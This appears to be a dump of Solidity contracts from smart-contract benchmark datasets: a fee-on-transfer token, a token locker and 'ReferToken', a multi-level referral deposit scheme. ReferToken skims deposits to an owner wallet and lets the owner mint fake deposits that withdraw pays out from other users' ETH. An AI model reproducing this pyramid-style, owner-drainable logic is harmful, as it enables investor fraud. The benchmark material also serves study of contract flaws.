function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IJoeFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IJoeRouter02 {
function swapExactTokensForAVAXSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WAVAX() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract CrossChainCapital is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1500000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"CrossChainCapital";
string private constant _symbol = unicode"CCC";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 1;
uint256 private _teamFee = 1;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private w1;
address payable private w2;
IJoeRouter02 private joeV2Router;
address private joeV2Pair;
bool private tradingEnabled = false;
bool private canSwap = true;
bool private inSwap = false;
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable treasuryWalletAddress , address payable CCCWalletAddress) {
w1 = treasuryWalletAddress;
w2 = CCCWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[w1] = true;
_isExcludedFromFee[w2] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
IJoeRouter02 _uniswapV2Router = IJoeRouter02(0x60aE616a2155Ee3d9A68541Ba4544862310933d4);
joeV2Router = _uniswapV2Router;
_approve(address(this), address(joeV2Router), _tTotal);
joeV2Pair = IJoeFactory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WAVAX());
IERC20(joeV2Pair).approve(address(joeV2Router), type(uint).max);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function setCanSwap(bool onoff) external onlyOwner() {
canSwap = onoff;
}
function setTradingEnabled(bool onoff) external onlyOwner() {
tradingEnabled = onoff;
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!tradingEnabled) {
require(_isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading is not live yet");
}
uint256 contractTokenBalance = balanceOf(address(this));
if(!inSwap && from != joeV2Pair && tradingEnabled && canSwap) {
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(joeV2Pair).mul(5).div(100)) {
contractTokenBalance = balanceOf(joeV2Pair).mul(5).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
if(from != joeV2Pair && to != joeV2Pair) {
takeFee = false;
}
if (takeFee && from == joeV2Pair) {
_previousteamFee = _teamFee;
_teamFee = 0;
}
if(takeFee && to == joeV2Pair) {
_previousTaxFee = _taxFee;
_taxFee = 0;
}
_tokenTransfer(from,to,amount,takeFee);
if (takeFee && from == joeV2Pair) _teamFee = _previousteamFee;
if (takeFee && to == joeV2Pair) _taxFee = _previousTaxFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = joeV2Router.WAVAX();
_approve(address(this), address(joeV2Router), tokenAmount);
joeV2Router.swapExactTokensForAVAXSupportingFeeOnTransferTokens(tokenAmount,
0,
path,
address(this),
block.timestamp);
}
function sendETHToFee(uint256 amount) private {
w1.transfer(amount.div(2));
w2.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function setTreasuryWallet(address payable _w1) external {
require(_msgSender() == w1);
w1 = _w1;
_isExcludedFromFee[w1] = true;
}
function setCCCWallet(address payable _w2) external {
require(_msgSender() == w2);
w2 = _w2;
_isExcludedFromFee[w2] = true;
}
function excludeFromFee(address payable ad) external {
require(_msgSender() == w1);
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external {
require(_msgSender() == w1);
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 team) external {
require(_msgSender() == w1);
require(team <= 25);
_teamFee = team;
}
function setTaxFee(uint256 tax) external {
require(_msgSender() == w1);
require(tax <= 25);
_taxFee = tax;
}
function manualswap() external {
require(_msgSender() == w1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == w1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
}
| 75,235 | 10,908 |
5fb77bad8932721d5f3fc9be10e8132418af5be7663f1372efdd2323d42fe9c8
| 23,629 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/cd/cdefdb9ab4dbd9489be9aff593bfa237b3d59702_liqlocker.sol
| 2,815 | 11,071 |
pragma solidity 0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
abstract contract Ownable is Context{
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
library SafeBEP20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IBEP20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IBEP20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IBEP20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
'SafeBEP20: approve from non-zero to non-zero allowance');
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IBEP20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IBEP20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value,
'SafeBEP20: decreased allowance below zero');
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IBEP20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, 'SafeBEP20: low-level call failed');
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), 'SafeBEP20: BEP20 operation did not succeed');
}
}
}
contract liqlocker is Ownable{
using SafeBEP20 for IBEP20;
function payoutToken(address _token, uint256 _amount) public onlyOwner{
IBEP20(_token).transfer(msg.sender, _amount);
}
}
| 310,652 | 10,909 |
4a620907731a081283c7fb5356c7795b030dbf2efb2614a943416155b0db5f22
| 13,537 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0xc1be799897b80cd3043d7cb7ce94ffbd6c6fbabb.sol
| 3,595 | 13,392 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
}
contract ReferTokenERC20Basic is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) rewardBalances;
mapping(address => mapping(address => uint256)) allow;
function _transfer(address _from, address _to, uint256 _value) private returns (bool) {
require(_to != address(0));
require(_value <= rewardBalances[_from]);
rewardBalances[_from] = rewardBalances[_from].sub(_value);
rewardBalances[_to] = rewardBalances[_to].add(_value);
Transfer(_from, _to, _value);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
return _transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return rewardBalances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_from != msg.sender);
require(allow[_from][msg.sender] > _value || allow[_from][msg.sender] == _value);
success = _transfer(_from, _to, _value);
if (success) {
allow[_from][msg.sender] = allow[_from][msg.sender].sub(_value);
}
return success;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allow[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allow[_owner][_spender];
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract PackageContract is ReferTokenERC20Basic, MintableToken {
uint constant daysPerMonth = 30;
mapping(uint => mapping(string => uint256)) internal packageType;
struct Package {
uint256 since;
uint256 tokenValue;
uint256 kindOf;
}
mapping(address => Package) internal userPackages;
function PackageContract() public {
packageType[2]['fee'] = 30;
packageType[2]['reward'] = 20;
packageType[4]['fee'] = 35;
packageType[4]['reward'] = 25;
}
function depositMint(address _to, uint256 _amount, uint _kindOfPackage) canMint internal returns (bool) {
return depositMintSince(_to, _amount, _kindOfPackage, now);
}
function depositMintSince(address _to, uint256 _amount, uint _kindOfPackage, uint since) canMint internal returns (bool) {
totalSupply = totalSupply.add(_amount);
Package memory pac;
pac = Package({since : since, tokenValue : _amount, kindOf : _kindOfPackage});
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
userPackages[_to] = pac;
return true;
}
function depositBalanceOf(address _owner) public view returns (uint256 balance) {
return userPackages[_owner].tokenValue;
}
function getKindOfPackage(address _owner) public view returns (uint256) {
return userPackages[_owner].kindOf;
}
}
contract ColdWalletToken is PackageContract {
address internal coldWalletAddress;
uint internal percentageCW = 30;
event CWStorageTransferred(address indexed previousCWAddress, address indexed newCWAddress);
event CWPercentageChanged(uint previousPCW, uint newPCW);
function setColdWalletAddress(address _newCWAddress) onlyOwner public {
require(_newCWAddress != coldWalletAddress && _newCWAddress != address(0));
CWStorageTransferred(coldWalletAddress, _newCWAddress);
coldWalletAddress = _newCWAddress;
}
function getColdWalletAddress() onlyOwner public view returns (address) {
return coldWalletAddress;
}
function setPercentageCW(uint _newPCW) onlyOwner public {
require(_newPCW != percentageCW && _newPCW < 100);
CWPercentageChanged(percentageCW, _newPCW);
percentageCW = _newPCW;
}
function getPercentageCW() onlyOwner public view returns (uint) {
return percentageCW;
}
function saveToCW() onlyOwner public {
coldWalletAddress.transfer(this.balance.mul(percentageCW).div(100));
}
}
contract StatusContract is Ownable {
mapping(uint => mapping(string => uint[])) internal statusRewardsMap;
mapping(address => uint) internal statuses;
event StatusChanged(address participant, uint newStatus);
function StatusContract() public {
statusRewardsMap[1]['deposit'] = [3, 2, 1];
statusRewardsMap[1]['refReward'] = [3, 1, 1];
statusRewardsMap[2]['deposit'] = [7, 3, 1];
statusRewardsMap[2]['refReward'] = [5, 3, 1];
statusRewardsMap[3]['deposit'] = [10, 3, 1, 1, 1];
statusRewardsMap[3]['refReward'] = [7, 3, 3, 1, 1];
statusRewardsMap[4]['deposit'] = [10, 5, 3, 3, 1];
statusRewardsMap[4]['refReward'] = [10, 5, 3, 3, 3];
statusRewardsMap[5]['deposit'] = [12, 5, 3, 3, 3];
statusRewardsMap[5]['refReward'] = [10, 7, 5, 3, 3];
}
function getStatusOf(address participant) public view returns (uint) {
return statuses[participant];
}
function setStatus(address participant, uint8 status) public onlyOwner returns (bool) {
return setStatusInternal(participant, status);
}
function setStatusInternal(address participant, uint8 status) internal returns (bool) {
require(statuses[participant] != status && status > 0 && status <= 5);
statuses[participant] = status;
StatusChanged(participant, status);
return true;
}
}
contract ReferTreeContract is Ownable {
mapping(address => address) public referTree;
event TreeStructChanged(address sender, address parentSender);
function checkTreeStructure(address sender, address parentSender) onlyOwner public {
setTreeStructure(sender, parentSender);
}
function setTreeStructure(address sender, address parentSender) internal {
require(referTree[sender] == 0x0);
require(sender != parentSender);
referTree[sender] = parentSender;
TreeStructChanged(sender, parentSender);
}
}
contract ReferToken is ColdWalletToken, StatusContract, ReferTreeContract {
string public constant name = "EtherState";
string public constant symbol = "ETHS";
uint256 public constant decimals = 18;
uint256 public totalSupply = 0;
uint256 public constant hardCap = 10000000 * 1 ether;
mapping(address => uint256) private lastPayoutAddress;
uint private rate = 100;
uint public constant depth = 5;
event RateChanged(uint previousRate, uint newRate);
event DataReceived(bytes data);
event RefererAddressReceived(address referer);
function depositMintAndPay(address _to, uint256 _amount, uint _kindOfPackage) canMint private returns (bool) {
require(userPackages[_to].since == 0);
_amount = _amount.mul(rate);
if (depositMint(_to, _amount, _kindOfPackage)) {
payToReferer(_to, _amount, 'deposit');
lastPayoutAddress[_to] = now;
}
}
function rewardMint(address _to, uint256 _amount) private returns (bool) {
rewardBalances[_to] = rewardBalances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function rewardMintOwner(address _to, uint256 _amount) onlyOwner public returns (bool) {
return rewardMint(_to, _amount);
}
function payToReferer(address sender, uint256 _amount, string _key) private {
address currentReferral = sender;
uint currentStatus = 0;
uint256 refValue = 0;
for (uint level = 0; level < depth; ++level) {
currentReferral = referTree[currentReferral];
if (currentReferral == 0x0) {
break;
}
currentStatus = statuses[currentReferral];
if (currentStatus < 3 && level >= 3) {
continue;
}
refValue = _amount.mul(statusRewardsMap[currentStatus][_key][level]).div(100);
rewardMint(currentReferral, refValue);
}
}
function AddressDailyReward(address rewarded) public {
require(lastPayoutAddress[rewarded] != 0 && (now - lastPayoutAddress[rewarded]).div(1 days) > 0);
uint256 n = (now - lastPayoutAddress[rewarded]).div(1 days);
uint256 refValue = 0;
if (userPackages[rewarded].kindOf != 0) {
refValue = userPackages[rewarded].tokenValue.mul(n).mul(packageType[userPackages[rewarded].kindOf]['reward']).div(30).div(100);
rewardMint(rewarded, refValue);
payToReferer(rewarded, userPackages[rewarded].tokenValue, 'refReward');
}
if (n > 0) {
lastPayoutAddress[rewarded] = now;
}
}
function() external payable {
require(totalSupply < hardCap);
coldWalletAddress.transfer(msg.value.mul(percentageCW).div(100));
bytes memory data = bytes(msg.data);
DataReceived(data);
address referer = getRefererAddress(data);
RefererAddressReceived(referer);
setTreeStructure(msg.sender, referer);
setStatusInternal(msg.sender, 1);
uint8 kind = getReferralPackageKind(data);
depositMintAndPay(msg.sender, msg.value, kind);
}
function getRefererAddress(bytes data) private pure returns (address) {
if (data.length == 1 || data.length == 0) {
return address(0);
}
uint256 referer_address;
uint256 factor = 1;
for (uint i = 20; i > 0; i--) {
referer_address += uint8(data[i - 1]) * factor;
factor = factor * 256;
}
return address(referer_address);
}
function getReferralPackageKind(bytes data) private pure returns (uint8) {
uint8 _kind = 0;
if (data.length == 0) {
_kind = 4;
}
else if (data.length == 1) {
_kind = uint8(data[0]);
}
else {
_kind = uint8(data[20]);
}
require(_kind == 2 || _kind == 4);
return _kind;
}
function withdraw() public {
require(userPackages[msg.sender].tokenValue != 0);
uint256 withdrawValue = userPackages[msg.sender].tokenValue.div(rate);
uint256 dateDiff = now - userPackages[msg.sender].since;
if (dateDiff < userPackages[msg.sender].kindOf.mul(30 days)) {
uint256 fee = withdrawValue.mul(packageType[userPackages[msg.sender].kindOf]['fee']).div(100);
withdrawValue = withdrawValue.sub(fee);
coldWalletAddress.transfer(fee);
}
userPackages[msg.sender].tokenValue = 0;
msg.sender.transfer(withdrawValue);
}
function createRawDeposit(address sender, uint256 _value, uint d, uint since) onlyOwner public {
depositMintSince(sender, _value, d, since);
}
function createDeposit(address sender, uint256 _value, uint d) onlyOwner public {
depositMintAndPay(sender, _value, d);
}
function setRate(uint _newRate) onlyOwner public {
require(_newRate != rate && _newRate > 0);
RateChanged(rate, _newRate);
rate = _newRate;
}
function getRate() public view returns (uint) {
return rate;
}
}
| 164,878 | 10,910 |
79feb32dfc29d97112bf283ec17f159f803167d5c51df169e23b8c8e9b6cde90
| 17,675 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/e8/e8473b1485277073136c28f99d64a78e305bbff1_Distributor.sol
| 3,875 | 15,346 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
